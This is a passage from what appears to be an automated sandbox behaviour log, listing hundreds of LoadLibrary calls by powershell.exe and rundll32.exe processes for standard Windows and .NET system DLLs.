with a parameter wintrust.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\11606f766159ae0c6dc59f2c053f4db7\Microsoft.PowerShell.Security (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\481f1a5c0959042363de5c765867b51d\System.Management.Automation. (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\11606f766159ae0c6dc59f2c053f4db7\Microsoft.PowerShell.Security (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007528) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\481f1a5c0959042363de5c765867b51d\System.Management.Automation. (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\11606f766159ae0c6dc59f2c053f4db7\Microsoft.PowerShell.Security (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\4775ea5a6170c0859c5278277c31b0ca\Microsoft.PowerShell.Commands (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\9594c82af7b396b5ee8b0ef1d461cea2\System.Configuration.Install. (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\b91d832f8c25f4f949d6dc38b3fe41ac\Microsoft.PowerShell.Commands (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00002772) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002772) "rundll32.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\ef4992f14ba62dc115c01e7a6018e263\mscorlib.ni.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005036) "rundll32.exe" called "LoadLibrary" with a parameter 